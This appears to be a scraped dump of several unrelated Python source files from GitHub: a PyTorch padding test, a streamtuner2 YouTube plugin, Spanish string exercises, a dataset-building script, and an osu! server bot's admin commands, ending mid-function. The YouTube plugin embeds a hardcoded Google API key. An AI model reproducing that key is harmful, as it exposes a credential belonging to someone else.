Pad\n\n\n@pytest.fixture\ndef inp():\n return torch.rand(1, 3, 10, 10)\n\n\n@pytest.mark.parametrize(\"init\", [True, False])\n@pytest.mark.parametrize(\n \"pads, new_shape\",\n [\n ([1, 1], [1, 3, 10, 12]),\n ([1, 1, 2, 2], [1, 3, 14, 12]),\n ([1, 1, 2, 2, 3, 3, 4, 4], [9, 9, 14, 12]),\n ],\n)\ndef test_pad(inp, pads, new_shape, init):\n \"\"\"Pass padding in initialization and in forward pass.\"\"\"\n if init:\n op = Pad(padding=pads)\n out = op(inp)\n else:\n op = Pad()\n out = op(inp, pads)\n assert list(out.shape) == new_shape\n\n\ndef test_pad_raise_error(inp):\n op = Pad()\n\n # padding should be passed either in init or forward\n with pytest.raises(TypeError):\n op(inp)\n","repo_name":"Talmaj/onnx2pytorch","sub_path":"tests/onnx2pytorch/operations/test_pad.py","file_name":"test_pad.py","file_ext":"py","file_size_in_byte":797,"program_lang":"python","lang":"en","doc_type":"code","stars":278,"dataset":"github-code","pt":"29"} +{"seq_id":"25594535489","text":"# encoding: UTF-8\n# api: streamtuner2\n# title: Youtube\n# description: Channel, playlist and video browsing for youtube.\n# type: channel\n# version: 0.3\n# url: http://www.youtube.com/\n# category: video\n# config:\n# { name: youtube_channels, type: text, value: \"Key Of Awesome, Pentatonix\", description: \"Preferred channels to list videos from.\", category: select }\n# { name: youtube_region, type: select, select: \"=No Region|AR=Argentina|AU=Australia|AT=Austria|BE=Belgium|BR=Brazil|CA=Canada|CL=Chile|CO=Colombia|CZ=Czech Republic|EG=Egypt|FR=France|DE=Germany|GB=Great Britain|HK=Hong Kong|HU=Hungary|IN=India|IE=Ireland|IL=Israel|IT=Italy|JP=Japan|JO=Jordan|MY=Malaysia|MX=Mexico|MA=Morocco|NL=Netherlands|NZ=New Zealand|PE=Peru|PH=Philippines|PL=Poland|RU=Russia|SA=Saudi Arabia|SG=Singapore|ZA=South Africa|KR=South Korea|ES=Spain|SE=Sweden|CH=Switzerland|TW=Taiwan|AE=United Arab Emirates|US=United States\", value: GB, description: \"Filter by region id.\", category: auth }\n# { name: youtube_wadsworth, type: boolean, value: 0, description: \"Apply Wadsworth constant.\", category: filter }\n# priority: default\n# png:\n# iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAYNJREFUOI3Fks9LVFEUxz/nzrPx+WN0xhAUgoT6A6y/wFb+C4IbIQhcBm36H1obVNtoGYS0TFoIQstazBgNBaELQdTx\n# vea9uffbwufw3mTRzi8cLnzv955z7vccuG7YXmtyBlgBbgFTQB3Q3/RAHzgD9oHdyMNTg01gshD8DwScCJ7bx+bEN7Cl0Xt5D2aYc//Iq67LYDFHXEamgGZmmd94SHzvPoMoIguerKQZamExykS9kjQIN3eThcdP\n# WAiBo/fbHLx5Te/LZzQYgFW6qbsMKEcf+CWRpCm+2aK5ts6drZfMP9okH4/pSxV91NeI4RLmA0mS4ns9JHGaJvzMc1Lpwo3Smyi7wl6FwHmScNzt8mPnA4fv3lLrtJkIHqt+AXvViFPB+JCQ0HQDrTyg127jvu4T\n# D3Jqzg0LDLWQ2lYj7oDulmlJZCEwZuD+GGMlRae2eiNqeVgOUA9AAAuAmSEzCq4cKs5TwYvIwzPBJ+A2F2s8XZQcXedL7qwY1neDHa4dvwFfDLdx6YbozgAAAABJRU5ErkJggg==\n# depends: bin:youtube-dl\n# extraction-method: json\n#\n# \n# Lists recently popular youtube videos by category or channels.\n#\n# Introduces the faux MIME type \"video/youtube\" for player and recording\n# configuration; both utilizing `youtube-dl`. But VLC can consume Youtube\n# URLs directly anyhow.\n#\n# For now custom channel names must be configured in the settings dialog\n# text entry, and applied using Channel > Update categories..\n\n\nfrom config import *\nfrom channels import *\n\nimport ahttp\nimport json\n\n\n\n# Youtube\n#\n#\n# INTERNA\n#\n# The Youtube v3.0 API is quite longwinded. Here the .api() call shadows\n# a few of the details.\n# While .wrap3() unpacks the various variations of where the video IDs\n# get hidden in the result sets.\n# Google uses some quote/billing algorithm for all queries. It seems\n# sufficient for Streamtuner2 for now, as the fields= JSON filter strips\n# a lot of uneeded data. (Clever idea, but probably incurs more processing\n# effort on Googles servers than it actually saves bandwidth, but hey..)\n#\n# EXAMPLES\n#\n# api(\"videos\", chart=\"mostPopular\")\n# api(\"search\", chart=\"mostPopular\", videoCategoryId=10, order=\"date\", type=\"video\")\n# api(\"channels\", categoryId=10)\n# api(\"search\", topicId=\"/m/064t9\", type=\"video\")\n#\n# Discovery\n#\n# videoCat Music id= 10\n# guideCat Music id= GCTXVzaWM channelid= UCBR8-60-B28hp2BmDPdntcQ\n# topicId Music mid= /m/0kpv0g\n#\nclass youtube (ChannelPlugin):\n\n # control attributes\n listformat = \"url/youtube\"\n has_search = True\n audioformat = \"video/youtube\"\n titles = dict( genre=\"Channel\", title=\"Title\", playing=\"Playlist\", bitrate=False, listeners=False )\n\n # API config\n service = {\n 2: [ \"http://gdata.youtube.com/\", \n # deprecated on 2015-04-20, no /v3/ alternative, pertains \"mostPopular\" category only\n {\n \"v\": 2,\n \"alt\": \"json\",\n \"max-results\": 50,\n }\n ],\n 3: [ \"https://www.googleapis.com/youtube/v3/\",\n {\n \"key\": \"AIzaSyAkbLSLn1VgsdFXCJjjdZtLd6W8RqtL4Ag\",\n \"maxResults\": 50,\n \"part\": \"id,snippet\",\n \"fields\": \"pageInfo,nextPageToken,items(id,snippet(title,thumbnails/default/url,channelTitle))\",\n }\n ]\n }\n\n categories = [\n \"mostPopular\",\n [\"Music\", \"Comedy\", \"Movies\", \"Shows\", \"Trailers\", \"Film & Animation\", \"Entertainment\", \"News & Politics\"],\n \"topics\",\n [\"Pop\", \"Billboard charts\", \"Rock\", \"Hip Hop\", \"Classical\", \"Soundtrack\", \"Ambient\",\n \"Jazz\", \"Blues\", \"Soul\", \"Country\", \"Disco\", \"Dance\", \"House\", \"Trance\", \"Techno\", \"Electronica\"],\n \"my channels\",\n [\"Key of Awesome\", \"Pentatonix\"]\n ] \n # from GET https://www.googleapis.com/youtube/v3/videoCategories?part=id%2Csnippet&\n videocat_id = {\n \"Film & Animation\": 1,\n \"Autos & Vehicles\": 2,\n \"Music\": 10,\n \"Pets & Animals\": 15,\n \"Sports\": 17,\n \"Short Movies\": 18,\n \"Travel & Events\": 19,\n \"Gaming\": 20,\n \"Videoblogging\": 21,\n \"People & Blogs\": 22,\n \"Comedy\": 34,\n \"Entertainment\": 24,\n \"News & Politics\": 25,\n \"Howto & Style\": 26,\n \"Education\": 27,\n \"Science & Technology\": 28,\n \"Nonprofits & Activism\": 29,\n \"Movies\": 30,\n \"Anime/Animation\": 31,\n \"Action/Adventure\": 32,\n \"Classics\": 33,\n \"Documentary\": 35,\n \"Drama\": 36,\n \"Family\": 37,\n \"Foreign\": 38,\n \"Horror\": 39,\n \"Sci-Fi/Fantasy\": 40,\n \"Thriller\": 41,\n \"Shorts\": 42,\n \"Shows\": 43,\n \"Trailers\": 44,\n }\n # Freebase topics\n topic_id = {\n \"pop\": \"/m/064t9\",\n \"billboard charts\": \"/m/04qf57\",\n \"rock\": \"/m/06by7\",\n \"dance\": \"/m/0ggx5q\",\n \"classical\": \"/m/0ggq0m\",\n \"hip hop\": \"/m/0glt670\",\n \"soundtrack\": \"/m/0l14gg\",\n \"ambient\": \"/m/0fd3y\",\n \"electronica\": \"/m/0m0jc\",\n \"jazz\": \"/m/03_d0\",\n \"techno\": \"/m/07gxw\",\n \"disco\": \"/m/026z9\",\n \"country\": \"/m/01lyv\",\n \"blues\": \"/m/0155w\",\n \"soul\": \"/m/0gywn\",\n \"trance\": \"/m/07lnk\",\n \"house\": \"/m/03mb9\",\n }\n\n\n # just a static list for now\n def update_categories(self):\n i = self.categories.index(\"my channels\") + 1\n self.categories[i] = [ title.strip() for title in conf.youtube_channels.split(\",\") ]\n\n\n # retrieve and parse\n def update_streams(self, cat, search=None):\n\n entries = []\n channels = self.categories[self.categories.index(\"my channels\") + 1]\n \n # plain search request for videos \n if search is not None:\n for row in self.api(\"search\", type=\"video\", regionCode=conf.youtube_region, q=search):\n entries.append( self.wrap3(row, {\"genre\": \"\"}) )\n\n # Most Popular\n elif cat == \"mostPopular\":\n #for row in self.api(\"feeds/api/standardfeeds/%s/most_popular\"%conf.youtube_region, ver=2):\n # entries.append(self.wrap2(row))\n for row in self.api(\"videos\", chart=\"mostPopular\", regionCode=conf.youtube_region):\n entries.append( self.wrap3(row, {\"genre\": \"mostPopular\"}) )\n\n # Categories\n elif cat in self.videocat_id:\n for row in self.api(\"search\", chart=\"mostPopular\", videoCategoryId=self.videocat_id[cat], order=\"date\", type=\"video\"):\n entries.append( self.wrap3(row, {\"genre\": cat}) )\n\n # Topics\n elif cat.lower() in self.topic_id:\n for row in self.api(\"search\", order=\"date\", regionCode=conf.youtube_region, topicId=self.topic_id[cat.lower()], type=\"video\"):\n entries.append( self.wrap3(row, {\"genre\": cat}) )\n\n # My Channels\n # - searches channel id for given title\n # - iterates over playlist\n # - then over playlistitems to get videos\n elif cat in channels:\n # channel id, e.g. UCEmCXnbNYz-MOtXi3lZ7W1Q\n UC = self.channel_id(cat)\n\n # fetches videos ordered by date\n for row in self.api(\"search\", order=\"date\", fields=\"pageInfo,nextPageToken,items(id,snippet(title,channelTitle,description))\", channelId=UC, type=\"video\"):\n entries.append( self.wrap3(row, {\"genre\": cat, \"playing\": cat}) )\n \n # augments with playlist entries\n for i,playlist in enumerate(self.api(\"playlists\", fields=\"items(id,snippet/title)\", channelId=UC, maxResults=15)):\n\n # items (videos)\n for row in self.api(\"playlistItems\", playlistId=playlist[\"id\"], fields=\"items(snippet(title,resourceId/videoId,description))\"):\n entries.append(self.wrap3(row, {\"genre\": cat, \"playing\": playlist[\"snippet\"][\"title\"]}))\n\n self.update_streams_partially_done(entries)\n self.parent.status(i / 15.0)\n \n # unique entries\n e = []\n [e.append(v) for v in entries if v not in e]\n entries = e\n \n # empty entries\n else:\n return self.placeholder\n \n # done \n return entries\n \n\n \n # Search for channel name:\n def channel_id(self, title):\n id = self.channel2id.get(title)\n if not id:\n data = self.api(\"search\", part=\"id\", type=\"channel\", q=title)\n if data:\n id = data[0][\"id\"][\"channelId\"]\n self.channel2id[title] = id\n return id\n channel2id = {}\n\n\n\n #-- Retrieve Youtube API query results\n #\n def api(self, method, ver=3, pages=5, debug=False, **params):\n items = []\n\n # URL and default parameters\n (base_url, defaults) = self.service[ver]\n params = dict( list(defaults.items()) + list(params.items()) )\n\n # Retrieve data set\n while pages > 0:\n j = ahttp.get(base_url + method, params=params)\n #if debug:\n #log.DATA(j)\n if j:\n # json decode\n data = json.loads(j)\n \n # extract items\n if \"items\" in data:\n items += data[\"items\"]\n elif \"feed\" in data:\n items += data[\"feed\"][\"entry\"]\n else:\n pages = 0\n\n # Continue to load results?\n if len(items) >= int(conf.max_streams):\n pages = 0\n elif \"pageInfo\" in data and data[\"pageInfo\"][\"totalResults\"] < 50:\n pages = 0\n elif \"nextPageToken\" in data:\n params[\"pageToken\"] = data[\"nextPageToken\"]\n pages -= 1\n else:\n pages = 0\n self.parent.status( (10 - 1.852 * pages) / 10.5 )\n\n return items\n\n\n\n # Wrap API 3.0 result into streams row\n def wrap3(self, row, data):\n\n # Video id\n if \"id\" in row:\n # plain /video queries\n id = row[\"id\"]\n # for /search queries\n if type(row[\"id\"]) is dict:\n id = id[\"videoId\"]\n # for /playlistItems\n elif \"resourceId\" in row[\"snippet\"]:\n id = row[\"snippet\"][\"resourceId\"][\"videoId\"]\n\n data.update(dict(\n url = \"http://youtube.com/v/\" + id,\n homepage = \"http://youtu.be/\" + id + (\"?wadsworth=1\" if conf.youtube_wadsworth else \"\"),\n format = self.audioformat,\n title = row[\"snippet\"][\"title\"],\n ))\n #log.DATA(row)\n \n # optional values\n if \"snippet\" in row:\n if \"playing\" not in data and \"channelTitle\" in row[\"snippet\"]:\n data[\"playing\"] = row[\"snippet\"][\"channelTitle\"]\n if \"description\" in row[\"snippet\"] and \"description\" in row[\"snippet\"]:\n data[\"description\"] = row[\"snippet\"][\"description\"],\n #log.UI(data)\n\n return data\n\n\n # API version 2.0s jsonified XML needs different unpacking:\n def wrap2(self, row):\n #log.DATA(row)\n return dict(\n genre = row[\"category\"][1][\"term\"],\n title = row[\"title\"][\"$t\"],\n playing = row[\"author\"][0][\"name\"][\"$t\"],\n format = self.audioformat,\n url = row[\"content\"][\"src\"].split(\"?\")[0],\n homepage = row[\"media$group\"][\"media$player\"][\"url\"],\n image = row[\"media$group\"][\"media$thumbnail\"][0][\"url\"],\n )\n\n\n\n","repo_name":"leigh123linux/streamtuner2","sub_path":"channels/youtube.py","file_name":"youtube.py","file_ext":"py","file_size_in_byte":12304,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"28682895062","text":"\"\"\"\r\n Escribir una función que dada una cadena de caracteres, devuelva:\r\n a) La primera letra de cada palabra. Por ejemplo, si recibe 'Universal Serial Bus' debe\r\n devolver 'USB'.\r\n b) Dicha cadena con la primera letra de cada palabra en mayúsculas. Por ejemplo, si recibe\r\n 'república argentina' debe devolver 'República Argentina'.\r\n c) Las palabras que comiencen con la letra 'A'. Por ejemplo, si recibe 'Antes de ayer'\r\n debe devolver 'Antes ayer'\r\n\"\"\"\r\n\r\n\r\ndef primer_letra_cada_palabra(palabra):\r\n\r\n longitud = len(palabra)\r\n palabra = palabra.title()\r\n \r\n print(palabra)\r\n\r\n for i in range(longitud):\r\n\r\n if (palabra[i]>='A' and palabra[i]<='Z'):\r\n print(palabra[i],end=\"\")\r\n\r\n print()\r\n\r\n# primer_letra_cada_palabra(\"universal serial bus\")\r\n# primer_letra_cada_palabra(\"disney plus\")\r\n# primer_letra_cada_palabra(\"Organizacion mundial de la Salud\")\r\n\r\n\r\ndef primer_letra_cada_palabra_mayuscula(palabra):\r\n\r\n print(palabra.title())\r\n\r\n\r\n# primer_letra_cada_palabra_mayuscula(\"hola mundo\")\r\n# primer_letra_cada_palabra_mayuscula(\"la concha de tu madre\")\r\n\r\n\r\n\r\ndef palabras_comienzan_con_a(texto):\r\n\r\n lista_texto = texto.split()\r\n longitud = len(lista_texto)\r\n print(texto)\r\n\r\n for i in range(longitud):\r\n\r\n if (lista_texto[i][0]=='A' or lista_texto[i][0]=='a'):\r\n print(lista_texto[i],end=\" \")\r\n print()\r\n\r\npalabras_comienzan_con_a(\"Antes de ayer\")\r\npalabras_comienzan_con_a(\"Amanecer en la puerta de tu amada mujer Antonella\")","repo_name":"JoelRazuri/string-of-characters-3","sub_path":"ejercicio6.5.py","file_name":"ejercicio6.5.py","file_ext":"py","file_size_in_byte":1556,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"5726386559","text":"import pandas as pd\nimport math\nimport copy\n\ndef hasNan(alist):\n firstLoop = True\n for item in alist:\n if firstLoop is True:\n firstLoop = False\n continue\n\n x = float(item)\n if math.isnan(x):\n return True\n\ndataframe = pd.DataFrame()\n\ncodes = pd.read_csv(\"datasets/codes.csv\")\nhdi = pd.read_csv(\"datasets/hdi.csv\")\nfreedom = pd.read_csv('datasets/economics-freedom.csv')\n\ndata = []\n\ncodes_dict = dict(zip(codes['Name'], codes['Code']))\n\nnew_hdi = hdi.set_index('Country')\nfor index, row in new_hdi.iterrows():\n if index in codes_dict:\n score = round(row['2017'], 3)\n\n target = 0\n if score >= 0.8:\n target = 1\n else:\n target = 0\n\n data.append([codes_dict[index], score, target])\n\nnew_freedom = freedom.set_index('Country Name')\nfor index, row in new_freedom.iterrows():\n if index in codes_dict:\n code = codes_dict[index]\n score = round(row['2018 Score'], 3)\n population = row['Population (Millions)']\n gdp_capita = row['GDP per Capita (PPP)']\n trade_freedom = row['Trade Freedom']\n business_freedom = row['Business Freedom']\n tax_gdp = row['Tax Burden % of GDP']\n gov_spends_gdp = row['Gov Expenditure % of GDP']\n\n gdp_capita = str(gdp_capita)\n gdp_capita = str(gdp_capita.strip('$').replace(',', ''))\n\n if math.isnan(score) is False:\n count = 0\n for v in data:\n if v[0] == code:\n data[count].append(score)\n data[count].append(population)\n data[count].append(gdp_capita)\n data[count].append(trade_freedom)\n data[count].append(business_freedom)\n data[count].append(tax_gdp)\n data[count].append(gov_spends_gdp)\n\n break\n else:\n count += 1\n\n\nlabels = ['Code', 'HDI', 'HDI Target', 'Freedom', 'Population',\n 'GDP per Capita', 'Trade Freedom', 'Business Freedom',\n 'Tax Burden % of GDP', 'Gov Expenditure % of GDP']\n\ncount = 0\nfor row in data:\n if len(row) < len(labels) or row[0] == 'LIE': # TODO: nao esta reconhecendo LIE\n data.pop(count)\n\n count += 1\n\ndata2 = copy.deepcopy(data)\n\nfor i in range(len(data2)):\n score = data2[i][1]\n\n if score >= 0.8:\n data2[i][2] = 2\n elif score >= 0.7:\n data2[i][2] = 1\n else:\n data2[i][2] = 0\n\n# print(data)\n\n\n# labels = ['Code', 'HDI', 'Freedom', 'Population', 'GDP per Capita']\ndf = pd.DataFrame(data, columns=labels)\ndf2 = pd.DataFrame(data2, columns=labels)\n\nprint(df.head())\nprint(df2.head())\n\ndf.to_csv(\"datasets/dataset.csv\", index=False)\ndf2.to_csv(\"datasets/dataset2.csv\", index=False)\n\ndf3 = df[['Freedom', 'GDP per Capita', 'Trade Freedom', 'HDI Target']]\ndf3.to_csv(\"datasets/dataset3.csv\", index=False)\n","repo_name":"jrobertojunior/country-classifier","sub_path":"create-dataset.py","file_name":"create-dataset.py","file_ext":"py","file_size_in_byte":2933,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"37048937472","text":"\nimport json\nimport random\nimport re\nimport threading\nimport sys\nimport traceback\n\nimport requests\nimport time\n\nfrom common import generalUtils\nfrom common.constants import mods\nfrom common.log import logUtils as log\nfrom common.ripple import userUtils\nfrom constants import exceptions, slotStatuses, matchModModes, matchTeams, matchTeamTypes, matchScoringTypes\nfrom common.constants import gameModes\nfrom common.constants import privileges\nfrom constants import serverPackets\nfrom helpers import systemHelper\nfrom objects import fokabot\nfrom objects import glob\nfrom helpers import chatHelper as chat\nfrom common.web import cheesegull\nfrom urllib.parse import urlencode\nfrom datetime import datetime, timedelta\nfrom secret.discord_hooks import Webhook\nfrom common.ripple import webhookHelper\n\n\n\ndef bloodcatMessage(beatmapID):\n\tbeatmap = glob.db.fetch(\"SELECT song_name, beatmapset_id FROM beatmaps WHERE beatmap_id = %s LIMIT 1\", [beatmapID])\n\tif beatmap is None:\n\t\treturn \"Sorry, I'm not able to provide a download link for this map :(\"\n\treturn \"Download [https://bloodcat.com/osu/s/{} {}] from Bloodcat\".format(\n\t\tbeatmap[\"beatmapset_id\"],\n\t\tbeatmap[\"song_name\"],\n\t)\n\n\"\"\"\nCommands callbacks\n\nMust have fro, chan and messages as arguments\n:param fro: username of who triggered the command\n:param chan: channel\"(or username, if PM) where the message was sent\n:param message: list containing arguments passed from the message\n\t\t\t\t[0] = first argument\n\t\t\t\t[1] = second argument\n\t\t\t\t. . .\n\nreturn the message or **False** if there's no response by the bot\nTODO: Change False to None, because False doesn't make any sense\n\"\"\"\ndef instantRestart(fro, chan, message):\n\tglob.streams.broadcast(\"main\", serverPackets.notification(\"We are restarting Vipsu. Be right back!\"))\n\tsystemHelper.scheduleShutdown(0, True, delay=5)\n\treturn False\n\ndef faq(fro, chan, message):\n\tkey = message[0].lower()\n\tif key not in glob.conf.extra[\"pep.py\"][\"faq\"]:\n\t\treturn False\n\treturn glob.conf.extra[\"pep.py\"][\"faq\"][key]\n\ndef roll(fro, chan, message):\n\tmaxPoints = 100\n\tif len(message) >= 1:\n\t\tif message[0].isdigit() and int(message[0]) > 0:\n\t\t\tmaxPoints = int(message[0])\n\n\tpoints = random.randrange(0,maxPoints)\n\treturn \"{} rolls {} points!\".format(fro, str(points))\n\ndef ask(fro, chan, message):\n\treturn random.choice([\"yes\", \"no\", \"maybe\"])\n\ndef ping(fro, chan, message):\n\treturn \"d\"\n\t\ndef restrictme(fro, chan, message):\n\treturn \"You`re now Restricted congratulations.\\n HAHA\\n i love trolling.\"\t\n\t\ndef oof(fro, chan, message):\n\treturn \"oofio u suck hehe.\"\t\t\n\ndef bruh(fro, chan, message):\n\treturn \"brah!\"\t\t\t\n\ndef alert(fro, chan, message):\n\tmsg = ' '.join(message[:]).strip()\n\tif not msg:\n\t\treturn False\n\tglob.streams.broadcast(\"main\", serverPackets.notification(msg))\n\treturn False\n\ndef alertUser(fro, chan, message):\n\ttarget = message[0].lower()\n\ttargetToken = glob.tokens.getTokenFromUsername(userUtils.safeUsername(target), safe=True)\n\tif targetToken is not None:\n\t\tmsg = ' '.join(message[1:]).strip()\n\t\tif not msg:\n\t\t\treturn False\n\t\ttargetToken.enqueue(serverPackets.notification(msg))\n\t\treturn False\n\telse:\n\t\treturn \"User offline.\"\n\ndef moderated(fro, chan, message):\n\ttry:\n\t\t# Make sure we are in a channel and not PM\n\t\tif not chan.startswith(\"#\"):\n\t\t\traise exceptions.moderatedPMException\n\n\t\t# Get on/off\n\t\tenable = True\n\t\tif len(message) >= 1:\n\t\t\tif message[0] == \"off\":\n\t\t\t\tenable = False\n\n\t\t# Turn on/off moderated mode\n\t\tglob.channels.channels[chan].moderated = enable\n\t\treturn \"This channel is {} in moderated mode!\".format(\"now\" if enable else \"no longer\")\n\texcept exceptions.moderatedPMException:\n\t\treturn \"You are trying to put a private chat in moderated mode. Are you serious?!? Stupid small brain.\"\n\ndef kickAll(fro, chan, message):\n\t# Kick everyone but mods/admins\n\ttoKick = []\n\twith glob.tokens:\n\t\tfor key, value in glob.tokens.tokens.items():\n\t\t\tif not value.admin:\n\t\t\t\ttoKick.append(key)\n\n\t# Loop though users to kick (we can't change dictionary size while iterating)\n\tfor i in toKick:\n\t\tif i in glob.tokens.tokens:\n\t\t\tglob.tokens.tokens[i].kick()\n\n\treturn \"Whoops! Looks like I killed everyone.\"\n\nimmuneUsers = [1001, 1002]\n\ndef kick(fro, chan, message):\n\t# Get parameters\n\ttarget = message[0].lower()\n\tif target == glob.BOT_NAME.lower():\n\t\treturn \"Nope.\"\n\n\t# Checks if user is Night or Phil\n\ttargetUserID = userUtils.getIDSafe(target)\n\tif targetUserID in immuneUsers:\n\t\treturn \"Nope.\"\n\n\t# Get target token and make sure is connected\n\ttokens = glob.tokens.getTokenFromUsername(userUtils.safeUsername(target), safe=True, _all=True)\n\tif len(tokens) == 0:\n\t\treturn \"{} is not online\".format(target)\n\n\t# Kick users\n\tfor i in tokens:\n\t\ti.kick()\n\n\t# Bot response\n\treturn \"{} has been kicked from the server.\".format(target)\n\ndef fokabotReconnect(fro, chan, message):\n\t# Check if fokabot is already connected\n\tif glob.tokens.getTokenFromUserID(999) is not None:\n\t\treturn \"{} is already connected to Vipsu\".format(glob.BOT_NAME)\n\n\t# Fokabot is not connected, connect it\n\tfokabot.connect()\n\treturn False\n\ndef silence(fro, chan, message):\n\tmessage = [x.lower() for x in message]\n\ttarget = message[0]\n\tamount = message[1]\n\tunit = message[2]\n\treason = ' '.join(message[3:]).strip()\n\tif not reason:\n\t\treturn \"Please provide a valid reason.\"\n\tif not amount.isdigit():\n\t\treturn \"The amount must be a number.\"\n\n\t# Get target user ID\n\ttargetUserID = userUtils.getIDSafe(target)\n\tuserID = userUtils.getID(fro)\n\n\t# Make sure the user exists\n\tif not targetUserID:\n\t\treturn \"{}: user not found\".format(target)\n\n\t# Check if user is Night or Phil\n\tif targetUserID in immuneUsers:\n\t\treturn \"Nope.\"\n\n\t# Calculate silence seconds\n\tif unit == 's':\n\t\tsilenceTime = int(amount)\n\telif unit == 'm':\n\t\tsilenceTime = int(amount) * 60\n\telif unit == 'h':\n\t\tsilenceTime = int(amount) * 3600\n\telif unit == 'd':\n\t\tsilenceTime = int(amount) * 86400\n\telse:\n\t\treturn \"Invalid time unit (s/m/h/d).\"\n\n\t# Max silence time is 7 days\n\tif silenceTime > 604800:\n\t\treturn \"Invalid silence time. Max silence time is 7 days.\"\n\n\t# Send silence packet to target if he's connected\n\ttargetToken = glob.tokens.getTokenFromUsername(userUtils.safeUsername(target), safe=True)\n\tif targetToken is not None:\n\t\t# user online, silence both in db and with packet\n\t\ttargetToken.silence(silenceTime, reason, userID)\n\telse:\n\t\t# User offline, silence user only in db\n\t\tuserUtils.silence(targetUserID, silenceTime, reason, userID)\n\n\t# Log message\n\tmsg = \"{} has been silenced for the following reason: {}\".format(target, reason)\n\treturn msg\n\ndef removeSilence(fro, chan, message):\n\t# Get parameters\n\tfor i in message:\n\t\ti = i.lower()\n\ttarget = message[0]\n\n\t# Make sure the user exists\n\ttargetUserID = userUtils.getIDSafe(target)\n\tuserID = userUtils.getID(fro)\n\tif not targetUserID:\n\t\treturn \"{}: user not found\".format(target)\n\n\t# Send new silence end packet to user if he's online\n\ttargetToken = glob.tokens.getTokenFromUsername(userUtils.safeUsername(target), safe=True)\n\tif targetToken is not None:\n\t\t# User online, remove silence both in db and with packet\n\t\ttargetToken.silence(0, \"\", userID)\n\telse:\n\t\t# user offline, remove islene ofnlt from db\n\t\tuserUtils.silence(targetUserID, 0, \"\", userID)\n\n\treturn \"{}'s silence reset\".format(target)\n\ndef ban(fro, chan, message):\n\t# Get parameters\n\tfor i in message:\n\t\ti = i.lower()\n\ttarget = message[0]\n\n\t# Make sure the user exists\n\ttargetUserID = userUtils.getIDSafe(target)\n\tuserID = userUtils.getID(fro)\n\tif not targetUserID:\n\t\treturn \"{}: user not found\".format(target)\n\n\t# Check if user is Night or Phil\n\tif targetUserID in immuneUsers:\n\t\treturn \"Nope.\"\n\n\t# Set allowed to 0\n\tuserUtils.ban(targetUserID)\n\n\t# Send ban packet to the user if he's online\n\ttargetToken = glob.tokens.getTokenFromUsername(userUtils.safeUsername(target), safe=True)\n\tif targetToken is not None:\n\t\ttargetToken.enqueue(serverPackets.loginBanned())\n\n\tlog.rap(userID, \"has banned {}\".format(target), True)\n\treturn \"{}. Glad your gone. Finally some peace and quiet.\".format(target)\n\ndef unban(fro, chan, message):\n\t# Get parameters\n\tfor i in message:\n\t\ti = i.lower()\n\ttarget = message[0]\n\n\t# Make sure the user exists\n\ttargetUserID = userUtils.getIDSafe(target)\n\tuserID = userUtils.getID(fro)\n\tif not targetUserID:\n\t\treturn \"{}: user not found\".format(target)\n\n\t# Set allowed to 1\n\tuserUtils.unban(targetUserID)\n\n\tlog.rap(userID, \"has unbanned {}\".format(target), True)\n\treturn \"Dammit {}! Why are you here again.\".format(target)\n\ndef restrict(fro, chan, message):\n\t# Get parameters\n\tfor i in message:\n\t\ti = i.lower()\n\ttarget = message[0]\n\n\t# Make sure the user exists\n\ttargetUserID = userUtils.getIDSafe(target)\n\tuserID = userUtils.getID(fro)\n\tif not targetUserID:\n\t\treturn \"{}: user not found\".format(target)\n\n\t# Checks if the user is Night or Phil\n\tif targetUserID in immuneUsers:\n\t\treturn \"Nope.\"\n\n\t# Put this user in restricted mode\n\tuserUtils.restrict(targetUserID)\n\n\t# Send restricted mode packet to this user if he's online\n\ttargetToken = glob.tokens.getTokenFromUsername(userUtils.safeUsername(target), safe=True)\n\tif targetToken is not None:\n\t\ttargetToken.setRestricted()\n\n\tlog.rap(userID, \"has put {} in restricted mode\".format(target), True)\n\treturn \"Bye bye {}. See you never.\".format(target)\n\ndef unrestrict(fro, chan, message):\n\t# Get parameters\n\tfor i in message:\n\t\ti = i.lower()\n\ttarget = message[0]\n\n\t# Make sure the user exists\n\ttargetUserID = userUtils.getIDSafe(target)\n\tuserID = userUtils.getID(fro)\n\tif not targetUserID:\n\t\treturn \"{}: user not found\".format(target)\n\n\t# Set allowed to 1\n\tuserUtils.unrestrict(targetUserID)\n\n\tlog.rap(userID, \"has removed restricted mode from {}\".format(target), True)\n\treturn \"Welcome back {}! Wait wtf, staff keep changing their minds. :facedesk:\".format(target)\n\ndef restartShutdown(restart):\n\t\"\"\"Restart (if restart = True) or shutdown (if restart = False) pep.py safely\"\"\"\n\tmsg = \"We are performing some maintenance. Vipsu will {} in 5 seconds. Thank you for your patience.\".format(\"restart\" if restart else \"shutdown\")\n\tsystemHelper.scheduleShutdown(5, restart, msg)\n\treturn msg\n\ndef systemRestart(fro, chan, message):\n\treturn restartShutdown(True)\n\ndef systemShutdown(fro, chan, message):\n\treturn restartShutdown(False)\n\ndef systemReload(fro, chan, message):\n\tglob.banchoConf.reload()\n\treturn \"Vipsu (Bancho) settings reloaded!\"\n\ndef systemMaintenance(fro, chan, message):\n\t# Turn on/off bancho maintenance\n\tmaintenance = True\n\n\t# Get on/off\n\tif len(message) >= 2:\n\t\tif message[1] == \"off\":\n\t\t\tmaintenance = False\n\n\t# Set new maintenance value in bancho_settings table\n\tglob.banchoConf.setMaintenance(maintenance)\n\n\tif maintenance:\n\t\t# We have turned on maintenance mode\n\t\t# Users that will be disconnected\n\t\twho = []\n\n\t\t# Disconnect everyone but mod/admins\n\t\twith glob.tokens:\n\t\t\tfor _, value in glob.tokens.tokens.items():\n\t\t\t\tif not value.admin:\n\t\t\t\t\twho.append(value.userID)\n\n\t\tglob.streams.broadcast(\"main\", serverPackets.notification(\"Our Vipsu server is in maintenance mode. Please try to login again later.\"))\n\t\tglob.tokens.multipleEnqueue(serverPackets.loginError(), who)\n\t\tmsg = \"The server is now in maintenance mode!\"\n\telse:\n\t\t# We have turned off maintenance mode\n\t\t# Send message if we have turned off maintenance mode\n\t\tmsg = \"The server is no longer in maintenance mode!\"\n\n\t# Chat output\n\treturn msg\n\ndef systemStatus(fro, chan, message):\n\t# Print some server info\n\tdata = systemHelper.getSystemInfo()\n\n\t# Final message\n\tletsVersion = 